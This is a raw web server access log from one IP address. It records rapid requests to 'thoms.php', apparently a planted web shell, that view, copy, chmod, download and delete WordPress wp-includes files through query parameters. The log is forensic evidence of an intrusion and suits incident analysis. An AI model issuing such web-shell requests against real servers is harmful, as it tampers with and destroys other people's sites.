45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwidgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fwidgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 200 20142 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?del=ms-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?chmod=query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?chmod=style-engine&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:11 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /big-wife.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?chmod=class-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 200 12180 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:12 -0400] "GET /thoms.php?chmod=connectors.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /thoms.php?chmod=rss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /big-wife.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /thoms.php?chmod=session.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /thoms.php?dl=class-snoopy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /big-wife.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:13 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 200 17964 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 200 14251 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59387 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?chmod=script-loader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?dl=class.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:14 -0400] "GET /thoms.php?dl=class-requests.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 200 50975 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /big-wife.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59283 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /thoms.php?chmod=category-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 200 61839 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:15 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 200 16523 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?del=class-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?chmod=blocks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /big-wife.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:16 -0400] "GET /thoms.php?del=connectors.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11556 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?del=class-wp-error.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59344 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 200 18069 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fcertificates HTTP/1.1" 200 12744 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcertificates&p= HTTP/1.1" 200 12303 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcertificates&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 200 12316 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 200 21720 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /big-wife.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1752 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:18 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 200 17483 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
